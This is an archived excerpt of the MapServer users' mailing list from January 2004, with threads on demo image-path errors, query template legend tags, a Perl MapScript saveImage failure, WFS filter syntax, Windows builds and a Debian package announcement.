mapserver compiles cleanly, and I've extracted the mapserver demo files out
to:
/usr/local/apache2/htdocs/itasca
 
there is a tmp directory located at:
/usr/local/apache2/tmp it's set to be written to by apache:apache
 
Help?
 
Thanks.
 
____________________________________________
Kirk Johnson
Information Systems 
City of Coeur d' Alene
  
  kjohnson at cdaid.org

  Phone: (208)769-2255 
  Cell: (208)755-9719 
    www.cdaid.org


 

------=_NextPart_000_007D_01C3D464.C08ED4B0
Content-Type: text/html;
	charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable


Message




I have not used linux but windows 2000.  =
You may=20
want to check your user persmissions for the tmp directory set to =
write. =20
Hope this helps.






From: =
mapserver-users-admin at lists.gis.umn.edu=20
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of =
JOHNSON,=20
KIRK
Sent: Tuesday, January 06, 2004 2:24 PM
To:=20
mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] =
Demo=20
won't write to /tmp directory?





I'm =
trying to get=20
the demo running, with 4.01 under redhat 9.0


upon =
clicking on the=20
"initialize" button, I get the Demo interface, with a large black box =
where the=20
graphic should be.


I keep =
getting the=20
message in the apache error_log with File does not exist:=20
/usr/local/apache2/htdocs/tmp/DBvblahrandomnumber.png
=


 


I'm =
not seeing any=20
.png files created in this tmp directory.


 


apache2 is installed=20
at:


/usr/local/apache2/


 


mapserver compiles=20
cleanly, and I've extracted the mapserver demo files out =
to:


/usr/local/apache2/htdocs/itasca


 


there =
is a tmp=20
directory located at:


/usr/local/apache2/tmp it's set to be written to by=20
apache:apache


 


Help?


 


Thanks.


 







____________________________________________Kirk=20
Johnson

Information=20
Systems 
City of Coeur d' Alene
 =20


 =20
Phone: (208)769-2255 
 =20
Cell: (208)755-9719 
 =
=20
www.cdaid.org



 


------=_NextPart_000_007D_01C3D464.C08ED4B0--



From hjulien at nrcan.gc.ca  Tue Jan  6 13:26:32 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Tue, 6 Jan 2004 16:26:32 -0500
Subject: [Mapserver-users] Query template - Extract: Layer Class Name
Message-ID: <06B403677C41D51194550002A55107D201F78F81@s5-stf1-r1.nrn.nrcan.gc.ca>

Daniel,
Lets say I send this kind of query:
http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?
map=d:\webcgcq\gasl_clf\mapserver\mapfiles\transect1.map&
mode=query&
layer=Transect1poly&
imgext=605652.980000+4900665.392862+864417.475000+5159507.282138&
img.x=189&
img.y=199&
IMGSIZE=400%20400&

Since the mode is query, the result is the mapfile query template with the
feature identifications requested from the shapefile dbf. However the legend
tags are not interpreted!

Is there a way to retrieve the "layer class name" of the object selected in
the map so that I may insert it into the query template response?


Query template:

Code: [CODE]

Identifiant = [SP_OBJ_ID]

Dataset_ID = [DATASET_ID]

[leg_layer_html]
[leg_layer_name]
[/leg_layer_html]

[leg_class_html]
[leg_class_name]
[/leg_class_html]




-----Message d'origine-----
De : Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
Envoy? : Friday, December 19, 2003 4:29 PM
? : Julien, Heryk; mapserver-users at lists.gis.umn.edu
Objet : RE: [Mapserver-users] Query template - Extract: Layer Class Name


[leg_class_name]
But it must be used within a [leg_class_html] block.

For example, my legend template is attached.  I think it is a good example
of how to effectively use an html template.  It is designed to be used in
your client within a td element, such as:


[legend]


-Dan


> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Julien, Heryk
> Sent: Friday, December 19, 2003 2:29 PM
> To: 'mapserver-users at lists.gis.umn.edu'
> Subject: [Mapserver-users] Query template - Extract: Layer Class Name
> 
> 
> Hi to all,
> With the object [cl]you can retrieve the current "layer name" 
> from your mapfile and output it into your query template 
> (http://mapserver.gis.umn.edu/doc40/template-reference.html#qu
ery). Is there a way to retrieve the "layer class name" of the object
selected in the map so that I may insert it into the query template
response?

Thanks
==========================================
H?ryk


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From ed at topozone.com  Tue Jan  6 13:30:48 2004
From: ed at topozone.com (Ed McNierney)
Date: Tue, 6 Jan 2004 16:30:48 -0500
Subject: [Mapserver-users] Demo won't write to /tmp directory?
Message-ID: <13858AA1A74F30419F319ACB66A9D12203AFAC@mercator.topozone.com>

Kirk -

Your error message says you can't find:

/usr/local/apache2/htdocs/tmp/DBvblahrandomnumber.png 

and you say you have a tmp directory at:

/usr/local/apache2/tmp

and those are not the same path. I think you need
/usr/local/apache2/htdocs/tmp instead.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
ed at topozone.com




From TMitchell at lignum.com  Tue Jan  6 13:36:49 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 6 Jan 2004 13:36:49 -0800
Subject: [Mapserver-users] Demo won't write to /tmp directory?
In-Reply-To: 
Message-ID: 





> I keep getting the message in the apache error_log with File does
> not exist: /usr/local/apache2/htdocs/tmp/DBvblahrandomnumber.png
>
> I'm not seeing any .png files created in this tmp directory.

Most problems with this stem from one or two places.  The most common place
is erroneous settings in the .map configuration file.

Take a look at your itasca demo .map file, which probably is located at:
/usr/local/apache2/htdocs/itasca/demo.map

It looks to me like your IMAGEPATH should be:
/usr/local/apache2/htdocs/tmp/
Your IMAGEURL should be: /tmp/

What is it currently set at?

Tyler

p.s. Are others using Apache2 successfully with Mapserver?



From Daniel.A.Martin at erac.com  Tue Jan  6 14:16:53 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Tue, 6 Jan 2004 16:16:53 -0600
Subject: [Mapserver-users] Query template - Extract: Layer Class Name
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CB6@STL-EXBE-I03.corp.erac.com>

Well, I'm not quite sure.  I don't know of a built-in variable.  I guess I would want to know how your user reaches this query page.  If it is from a link/submit from a prior page that DOES have a legend, I would pass the item name as a custom variable.

For instance, I use a custom variable called "title" that I pass between every map as a hidden element of the map form.  I can reference this variable in my template simply as [title] because MapServer is smart enough to pull it from the querystring.  I place it in my  tag in the header, and output it on the template.

-Dan

> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
> Sent: Tuesday, January 06, 2004 3:27 PM
> To: Martin, Daniel A
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: RE: [Mapserver-users] Query template - Extract: 
> Layer Class Name
> 
> 
> Daniel,
> Lets say I send this kind of query: 
> http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?
> map=d:\webcgcq\gasl_clf\mapserver\mapfiles\transect1.map&
> mode=query&
> layer=Transect1poly& 
> imgext=605652.980000+4900665.392862+864417.475000+5159507.282138&
> img.x=189&
> img.y=199&
> IMGSIZE=400%20400&
> 
> Since the mode is query, the result is the mapfile query 
> template with the feature identifications requested from the 
> shapefile dbf. However the legend tags are not interpreted!
> 
> Is there a way to retrieve the "layer class name" of the 
> object selected in the map so that I may insert it into the 
> query template response?
> 
> 
> Query template:
> 
> Code: [CODE]<br>
> Identifiant = [SP_OBJ_ID]<br>
> Dataset_ID = [DATASET_ID]
> 
> [leg_layer_html]
> [leg_layer_name]
> [/leg_layer_html]
> 
> [leg_class_html]
> [leg_class_name]
> [/leg_class_html]
> 
> 
> 
> 
> -----Message d'origine-----
> De : Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
> Envoy? : Friday, December 19, 2003 4:29 PM
> ? : Julien, Heryk; mapserver-users at lists.gis.umn.edu
> Objet : RE: [Mapserver-users] Query template - Extract: Layer 
> Class Name
> 
> 
> [leg_class_name]
> But it must be used within a [leg_class_html] block.
> 
> For example, my legend template is attached.  I think it is a 
> good example of how to effectively use an html template.  It 
> is designed to be used in your client within a td element, such as:
> 
> <table><TR><TD>[legend]</TD></TR></table>
> 
> -Dan
> 
> 
> > -----Original Message-----
> > From: mapserver-users-admin at lists.gis.umn.edu
> > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> > Julien, Heryk
> > Sent: Friday, December 19, 2003 2:29 PM
> > To: 'mapserver-users at lists.gis.umn.edu'
> > Subject: [Mapserver-users] Query template - Extract: Layer 
> Class Name
> > 
> > 
> > Hi to all,
> > With the object [cl]you can retrieve the current "layer name"
> > from your mapfile and output it into your query template 
> > (http://mapserver.gis.umn.edu/doc40/template-reference.html#qu
> ery). Is there a way to retrieve the "layer class name" of 
> the object selected in the map so that I may insert it into 
> the query template response?
> 
> Thanks
> ==========================================
> H?ryk
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From steve.lime at dnr.state.mn.us  Tue Jan  6 14:29:45 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Tue, 06 Jan 2004 16:29:45 -0600
Subject: [Mapserver-users] OT: Macs for development...
Message-ID: <sffae298.027@co5.dnr.state.mn.us>

Hi Folks: Anyone out there using macs as a development box? I'm looking
to replace my current machine and drawn to the PowerBooks. I know that
with the underlying UNIX guts you should be able to build MapServer, but
I'm wondering if other folks are routinely using os x with cvs, gdb, gcc
and other developer tools. Thanks for any opinions...

Steve


From jwwilhit at srpnet.com  Tue Jan  6 15:05:27 2004
From: jwwilhit at srpnet.com (WILHITE JASON W)
Date: Tue, 6 Jan 2004 16:05:27 -0700
Subject: [Mapserver-users] saveImage error
Message-ID: <25D4A9F614A1964BA08A67C4FB9D3DF32D8F61@srpexc2.srp.gov>

I keep getting the following error when I try and run a very simple perl script using mapserver.  The following is the debug statements along with the error message.


	Hello Starting test!
		DEBUG::::  Prep returned mapscript::imageObj=HASH(0x8457140)
		DEBUG::::  Draw returned mapscript::imageObj=HASH(0x8457140)
		DEBUG::::  ./rawMSTest.png, , 1
	Can't call method "saveImage" on an undefined value at rawMSTest.pl line 129.


Here is the code snippet in question.

	#!/usr/sbin/perl

	use GD;
	use CGI;
	use POSIX;

	use strict;
	use mapscript;
	use Getopt::Long;

	#
	#=================================== MAIN ===================================
	#
	print "\nHello Starting test!\n";

	my $mapFileName = "./simpleGauge.map";
	my $pngFileName = "./rawMSTest.png";
	my $showPNG = 0;
	my ( $xMin, $xMax, $yMin, $yMax ) = (-112.39, -111.39, 33.20, 33.62);

	my $bgMap = new mapscript::mapObj( $mapFileName );
	$bgMap->{width} = 600;  
	$bgMap->{height} = 600;

	my $imgPrep = $bgMap->prepareImage();
	print "\tDEBUG::::  Prep returned $imgPrep\n";

	my $imageObj = $bgMap->draw();
	print "\tDEBUG::::  Draw returned $imgPrep\n";

	`rm -f $pngFileName`;
	print "\tDEBUG::::  $pngFileName, $mapscript::MS_PNG, $bgMap->{transparent}\n";

	my $image_url = $imageObj->saveImage( $pngFileName,  $mapscript::MS_PNG, $bgMap->{transparent}, 1, 95 ); <------Line where it is dying
	print "\tDEBUG::::  Save returned $image_url\n";

	if ($showPNG) {
		print "\nee'ing image file $pngFileName\n";
		`ee $pngFileName`;
	}


	print "\nAll done!\n";

	#===========================================================================


Am I missing something incredibly obvious?  This worked on Mapserver 3.6.4 but when I upgrade to mapserver 4.0.1 it blows up.
Any ideas?

Thanks,
-Jason




From zak-ms at hoppsan.org  Tue Jan  6 15:16:30 2004
From: zak-ms at hoppsan.org (Zak James)
Date: Tue, 6 Jan 2004 18:16:30 -0500
Subject: [Mapserver-users] OT: Macs for development...
In-Reply-To: <sffae298.027@co5.dnr.state.mn.us>
References: <sffae298.027@co5.dnr.state.mn.us>
Message-ID: <5C94C352-409E-11D8-AB8B-000393D97CCC@hoppsan.org>

Hi Steve,

I've been using macs for mapserver-related work for about 18 months or 
so. I find most unix stuff can be made to work, and all your common 
tools are available, but be prepared to do some extra work building 
things: OS X is mostly BSD, but it has a lot of weird wrinkles. There 
are some nice GUI tools built on top of the standard versions of gcc, 
gdb, cvs, and most other things you would expect to find.

As an added bonus, Mapserver does build out of the box!

zak
--
Zak James
Applications and Software Development
DM Solutions Group Inc.
http://www.dmsolutions.ca

On Jan 6, 2004, at 5:29 PM, Steve Lime wrote:

> Hi Folks: Anyone out there using macs as a development box? I'm looking
> to replace my current machine and drawn to the PowerBooks. I know that
> with the underlying UNIX guts you should be able to build MapServer, 
> but
> I'm wondering if other folks are routinely using os x with cvs, gdb, 
> gcc
> and other developer tools. Thanks for any opinions...
>
> Steve
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



From abehere at cs.ucsd.edu  Tue Jan  6 15:19:13 2004
From: abehere at cs.ucsd.edu (Amit S BEHERE)
Date: Tue, 6 Jan 2004 15:19:13 -0800 (PST)
Subject: [Mapserver-users] WFS support
In-Reply-To: <3FFAD751.5040209@dmsolutions.ca>
References: <2576812186CDD411BF1500508B6DCE9505D493FA@ECNWRI1.ontario.int.ec.gc.ca>
 <3FFAD751.5040209@dmsolutions.ca>
Message-ID: <Pine.GSO.4.58.0401061512500.6297@gradlab.ucsd.edu>

Hi,

There is not a win32 binary for Mapserver 4.0.1 (with WFS support). Is
there a way I can use the the source for mapserver 4.0.1 to build it for
windows. If there is, is there any documentation available regarding the
same. When might the binary for Mapserver 4.0.1 be released ?

Thanks,
Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just changes
the rules"......Vishwanathan Anand


On Tue, 6 Jan 2004, Normand Savard wrote:

> Hi,
>
> See answers below.
>
> Norm
>
>
> Kralidis,Tom [Burlington] wrote:
>
> >
> >
> >>-----Original Message-----
> >>From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> >>Sent: Monday, January 05, 2004 7:22 PM
> >>To: mapserver-users at lists.gis.umn.edu
> >>Subject: [Mapserver-users] WFS support
> >>
> >>
> >>Hi all,
> >>
> >>I do not seem to be able to filter my queries (WFS queries)
> >>correctly. I read in the documentation that only BBOX filter
> >>is supposed to work for WFS queries. Now does that mean that
> >>only the BBOX filter will work among the spatial filters
> >>(filters could be attribute filters or spatial filters) or
> >>its BBOX filter alone without any other attribute or spatial filters.
> >>
> >>
> >>
> Only the BBOX spatial filter is supported but he BBOX can be used in
> combinatiion with other filter types.
>
> Example:
>
> http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
> config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&
> filter=<filter><AND><BBOX><PropertyName>Name</PropertyName><Box+srsName='EPSG:42304'>
> <coordinates>201000,-7300+410396,67400</coordinates></Box></BBOX><PropertyIsEqualTo>
> <PropertyName>NAME</PropertyName><Literal>Digby</Literal></PropertyIsEqualTo></AND></filter>
>
>
> >In MapServer OGC:WFS (v4.0), BBOX works like this:
> >
> >http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
> >config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
> >ox=-120,50,-118,51
> >
> >As for Filter, the forthcoming release of MapServer will support Filter
> >Encoding (is it already in CVS?), so you should be able to pull off queries
> >like:
> >
> >
> The filter encoding support is in MapServer 4.1 cvs.
>
> >http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
> >config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
> >ox=-120,50,-118,51&filter=<Filter><PropertyIsEqualTo><PropertyName>Street</P
> >ropertyName><Literal>myhouseaddr%20blvd</Literal></PropertyIsEqualTo></Filte
> >r>
> >
> >Now, I'm not sure whether spatial filtering will still be supported by the
> >BBOX parameter, or as a GML element in Filter, or both.  Perhaps the DM
> >Solutions folks can clarify to what extent Filter will be supported.
> >
> >
> The BBOX parameter is mutually exclusive with FEATUREID and FILTER as
> stated in the WFS specifications (see 13.7.3.1).  So the BBOX is
> supported as a GML element.
>
> >Thanks
> >
> >..Tom
> >
> >=========================
> >Tom Kralidis
> >Systems Scientist
> >Environment Canada
> >Tel: +01-905-336-4409
> >http://www.ec.gc.ca/cise/
> >=========================
> >
> >
> >
> >>So bottom line is can I do something like the following
> >>query, "Return me trees only on the street matching the
> >>property Street=myhouseaddr blvd" using filters. If I can it
> >>means I am going wrong somewhere with my query.
> >>
> >>Amit Behere.
> >>UCSD.
> >>"Technology won't make your life more difficult or easy, it
> >>just changes the rules"......Vishwanathan Anand
> >>
> >>_______________________________________________
> >>Mapserver-users mailing list
> >>Mapserver-users at lists.gis.umn.edu
> >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> >>
> >>
> >>
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu
> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >
> >
>
>


From assefa at dmsolutions.ca  Tue Jan  6 15:31:31 2004
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Tue, 06 Jan 2004 18:31:31 -0500
Subject: [Mapserver-users] WFS support
In-Reply-To: <Pine.GSO.4.58.0401061512500.6297@gradlab.ucsd.edu>
References: <2576812186CDD411BF1500508B6DCE9505D493FA@ECNWRI1.ontario.int.ec.gc.ca> <3FFAD751.5040209@dmsolutions.ca> <Pine.GSO.4.58.0401061512500.6297@gradlab.ucsd.edu>
Message-ID: <3FFB4553.3020808@dmsolutions.ca>

You can download the binaries at 
http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html.

Later,

Amit S BEHERE wrote:

> Hi,
> 
> There is not a win32 binary for Mapserver 4.0.1 (with WFS support). Is
> there a way I can use the the source for mapserver 4.0.1 to build it for
> windows. If there is, is there any documentation available regarding the
> same. When might the binary for Mapserver 4.0.1 be released ?
> 
> Thanks,
> Amit Behere.
> UCSD.
> "Technology doesn't make your life more difficult or easy, it just changes
> the rules"......Vishwanathan Anand
> 
> 
> On Tue, 6 Jan 2004, Normand Savard wrote:
> 
> 
>>Hi,
>>
>>See answers below.
>>
>>Norm
>>
>>
>>Kralidis,Tom [Burlington] wrote:
>>
>>
>>>
>>>>-----Original Message-----
>>>>From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
>>>>Sent: Monday, January 05, 2004 7:22 PM
>>>>To: mapserver-users at lists.gis.umn.edu
>>>>Subject: [Mapserver-users] WFS support
>>>>
>>>>
>>>>Hi all,
>>>>
>>>>I do not seem to be able to filter my queries (WFS queries)
>>>>correctly. I read in the documentation that only BBOX filter
>>>>is supposed to work for WFS queries. Now does that mean that
>>>>only the BBOX filter will work among the spatial filters
>>>>(filters could be attribute filters or spatial filters) or
>>>>its BBOX filter alone without any other attribute or spatial filters.
>>>>
>>>>
>>>>
>>
>>Only the BBOX spatial filter is supported but he BBOX can be used in
>>combinatiion with other filter types.
>>
>>Example:
>>
>>http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
>>config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&
>>filter=<filter><AND><BBOX><PropertyName>Name</PropertyName><Box+srsName='EPSG:42304'>
>><coordinates>201000,-7300+410396,67400</coordinates></Box></BBOX><PropertyIsEqualTo>
>><PropertyName>NAME</PropertyName><Literal>Digby</Literal></PropertyIsEqualTo></AND></filter>
>>
>>
>>>In MapServer OGC:WFS (v4.0), BBOX works like this:
>>>
>>>http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
>>>config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
>>>ox=-120,50,-118,51
>>>
>>>As for Filter, the forthcoming release of MapServer will support Filter
>>>Encoding (is it already in CVS?), so you should be able to pull off queries
>>>like:
>>>
>>>
>>
>>The filter encoding support is in MapServer 4.1 cvs.
>>
>>
>>>http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
>>>config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
>>>ox=-120,50,-118,51&filter=<Filter><PropertyIsEqualTo><PropertyName>Street</P
>>>ropertyName><Literal>myhouseaddr%20blvd</Literal></PropertyIsEqualTo></Filte
>>>r>
>>>
>>>Now, I'm not sure whether spatial filtering will still be supported by the
>>>BBOX parameter, or as a GML element in Filter, or both.  Perhaps the DM
>>>Solutions folks can clarify to what extent Filter will be supported.
>>>
>>>
>>
>>The BBOX parameter is mutually exclusive with FEATUREID and FILTER as
>>stated in the WFS specifications (see 13.7.3.1).  So the BBOX is
>>supported as a GML element.
>>
>>
>>>Thanks
>>>
>>>..Tom
>>>
>>>=========================
>>>Tom Kralidis
>>>Systems Scientist
>>>Environment Canada
>>>Tel: +01-905-336-4409
>>>http://www.ec.gc.ca/cise/
>>>=========================
>>>
>>>
>>>
>>>
>>>>So bottom line is can I do something like the following
>>>>query, "Return me trees only on the street matching the
>>>>property Street=myhouseaddr blvd" using filters. If I can it
>>>>means I am going wrong somewhere with my query.
>>>>
>>>>Amit Behere.
>>>>UCSD.
>>>>"Technology won't make your life more difficult or easy, it
>>>>just changes the rules"......Vishwanathan Anand
>>>>
>>>>_______________________________________________
>>>>Mapserver-users mailing list
>>>>Mapserver-users at lists.gis.umn.edu
>>>>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
>>>>
>>>>
>>>>
>>>
>>>_______________________________________________
>>>Mapserver-users mailing list
>>>Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>>
>>>
>>
>>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 


-- 
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: (613) 565-5056 (ext 14)
Fax:   (613) 565-0925
----------------------------------------------------------------





From mdoggett at coas.oregonstate.edu  Tue Jan  6 16:13:29 2004
From: mdoggett at coas.oregonstate.edu (Matt Doggett)
Date: Tue, 6 Jan 2004 16:13:29 -0800
Subject: [Mapserver-users] Demo won't write to /tmp directory?
In-Reply-To: <OFD966DAE6.9585B72A-ON88256E13.0076594D-88256E13.0076BA20@lignum.com>
Message-ID: <000401c3d4b3$1446e1d0$2441c180@oce.orst.edu>


>-----Original Message-----
>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
>admin at lists.gis.umn.edu] On Behalf Of Tyler Mitchell
>Sent: Tuesday, January 06, 2004 1:37 PM
>To: JOHNSON, KIRK
>Cc: mapserver-users at lists.gis.umn.edu
>Subject: Re: [Mapserver-users] Demo won't write to /tmp directory?
>
>p.s. Are others using Apache2 successfully with Mapserver?
>

I've been using Apache2 for over a year now with Mapserver, and it's
been running great!



From abehere at cs.ucsd.edu  Tue Jan  6 16:14:28 2004
From: abehere at cs.ucsd.edu (Amit S BEHERE)
Date: Tue, 6 Jan 2004 16:14:28 -0800 (PST)
Subject: [Mapserver-users] WFS support
In-Reply-To: <3FFB4553.3020808@dmsolutions.ca>
References: <2576812186CDD411BF1500508B6DCE9505D493FA@ECNWRI1.ontario.int.ec.gc.ca>
 <3FFAD751.5040209@dmsolutions.ca> <Pine.GSO.4.58.0401061512500.6297@gradlab.ucsd.edu>
 <3FFB4553.3020808@dmsolutions.ca>
Message-ID: <Pine.GSO.4.58.0401061609520.14426@gradlab.ucsd.edu>

Hi,

w.r.t the question below

Am sorry for asking a wrong question. I didnot mean 4.0.1 but version 4.1
(the nightly build).

I have downloaded and compiled the nightly build for 4.1. However I would need to
get it working on a Windows machine as well. So again, repeating the
question. For the 4.1 build, is there a way I could compile it for Windows
(is there documentation regarding the same).
If I cannot do that, when might the 4.1 binary for Windows be released ?

Thanks,
Amit Behere [UCSD]
"Technology doesn't make your life more difficult or easy, it just changes
the rules"......Vishwanathan Anand


On Tue, 6 Jan 2004, Yewondwossen Assefa wrote:

> You can download the binaries at
> http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html.
>
> Later,
>
> Amit S BEHERE wrote:
>
> > Hi,
> >
> > There is not a win32 binary for Mapserver 4.0.1 (with WFS support). Is
> > there a way I can use the the source for mapserver 4.0.1 to build it for
> > windows. If there is, is there any documentation available regarding the
> > same. When might the binary for Mapserver 4.0.1 be released ?
> >
> > Thanks,
> > Amit Behere.
> > UCSD.
> > "Technology doesn't make your life more difficult or easy, it just changes
> > the rules"......Vishwanathan Anand
> >
> >
> > On Tue, 6 Jan 2004, Normand Savard wrote:
> >
> >
> >>Hi,
> >>
> >>See answers below.
> >>
> >>Norm
> >>
> >>
> >>Kralidis,Tom [Burlington] wrote:
> >>
> >>
> >>>
> >>>>-----Original Message-----
> >>>>From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> >>>>Sent: Monday, January 05, 2004 7:22 PM
> >>>>To: mapserver-users at lists.gis.umn.edu
> >>>>Subject: [Mapserver-users] WFS support
> >>>>
> >>>>
> >>>>Hi all,
> >>>>
> >>>>I do not seem to be able to filter my queries (WFS queries)
> >>>>correctly. I read in the documentation that only BBOX filter
> >>>>is supposed to work for WFS queries. Now does that mean that
> >>>>only the BBOX filter will work among the spatial filters
> >>>>(filters could be attribute filters or spatial filters) or
> >>>>its BBOX filter alone without any other attribute or spatial filters.
> >>>>
> >>>>
> >>>>
> >>
> >>Only the BBOX spatial filter is supported but he BBOX can be used in
> >>combinatiion with other filter types.
> >>
> >>Example:
> >>
> >>http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
> >>config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&
> >>filter=<filter><AND><BBOX><PropertyName>Name</PropertyName><Box+srsName='EPSG:42304'>
> >><coordinates>201000,-7300+410396,67400</coordinates></Box></BBOX><PropertyIsEqualTo>
> >><PropertyName>NAME</PropertyName><Literal>Digby</Literal></PropertyIsEqualTo></AND></filter>
> >>
> >>
> >>>In MapServer OGC:WFS (v4.0), BBOX works like this:
> >>>
> >>>http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
> >>>config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
> >>>ox=-120,50,-118,51
> >>>
> >>>As for Filter, the forthcoming release of MapServer will support Filter
> >>>Encoding (is it already in CVS?), so you should be able to pull off queries
> >>>like:
> >>>
> >>>
> >>
> >>The filter encoding support is in MapServer 4.1 cvs.
> >>
> >>
> >>>http://localhost/cgi-bin/mapserv-4.0?map=/home/httpd/html/prototypes/ec/msc/
> >>>config.map&version=1.0.0&service=WFS&request=GetFeature&typename=stn_info&bb
> >>>ox=-120,50,-118,51&filter=<Filter><PropertyIsEqualTo><PropertyName>Street</P
> >>>ropertyName><Literal>myhouseaddr%20blvd</Literal></PropertyIsEqualTo></Filte
> >>>r>
> >>>
> >>>Now, I'm not sure whether spatial filtering will still be supported by the
> >>>BBOX parameter, or as a GML element in Filter, or both.  Perhaps the DM
> >>>Solutions folks can clarify to what extent Filter will be supported.
> >>>
> >>>
> >>
> >>The BBOX parameter is mutually exclusive with FEATUREID and FILTER as
> >>stated in the WFS specifications (see 13.7.3.1).  So the BBOX is
> >>supported as a GML element.
> >>
> >>
> >>>Thanks
> >>>
> >>>..Tom
> >>>
> >>>=========================
> >>>Tom Kralidis
> >>>Systems Scientist
> >>>Environment Canada
> >>>Tel: +01-905-336-4409
> >>>http://www.ec.gc.ca/cise/
> >>>=========================
> >>>
> >>>
> >>>
> >>>
> >>>>So bottom line is can I do something like the following
> >>>>query, "Return me trees only on the street matching the
> >>>>property Street=myhouseaddr blvd" using filters. If I can it
> >>>>means I am going wrong somewhere with my query.
> >>>>
> >>>>Amit Behere.
> >>>>UCSD.
> >>>>"Technology won't make your life more difficult or easy, it
> >>>>just changes the rules"......Vishwanathan Anand
> >>>>
> >>>>_______________________________________________
> >>>>Mapserver-users mailing list
> >>>>Mapserver-users at lists.gis.umn.edu
> >>>>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> >>>>
> >>>>
> >>>>
> >>>
> >>>_______________________________________________
> >>>Mapserver-users mailing list
> >>>Mapserver-users at lists.gis.umn.edu
> >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >>>
> >>>
> >>>
> >>
> >>
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
>
>
> --
> ----------------------------------------------------------------
> Assefa Yewondwossen
> Software Analyst
>
> Email: assefa at dmsolutions.ca
> http://www.dmsolutions.ca/
>
> Phone: (613) 565-5056 (ext 14)
> Fax:   (613) 565-0925
> ----------------------------------------------------------------
>
>
>
>


From pbaker at where2getit.com  Tue Jan  6 17:36:03 2004
From: pbaker at where2getit.com (Paul Baker)
Date: Tue, 6 Jan 2004 19:36:03 -0600
Subject: [Mapserver-users] [ANNOUNCE] Mapserver 4.0.1 Debian Package for Debian Woody
Message-ID: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com>

--Apple-Mail-23-642883358
Content-Type: multipart/mixed; boundary=Apple-Mail-22-642883355


--Apple-Mail-22-642883355
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

Well it's been a very looooong time coming, but it is finally here. 
That's right, I've finally packaged MapServer 4.0.1 for Debian 
GNU/Linux. Unlike before, this package has actually been compiled for 
Debian 3.0 (a.k.a. Woody). In order to do that, I had to also 
"backport" several dependency packages from Debian testing and unstable 
in order to meet some of the "bleeding-edge" requirements of MapServer 
4.0.1. The mapserver package is installed as three separate packages so 
you only need to install the parts you need. The packages available 
are:

   * mapserver-cgi - The mapserv cgi program installed in 
/usr/lib/cgi-bin
   * mapserver-utils - The other miscellaneous programs compiled as part 
of MapServer.
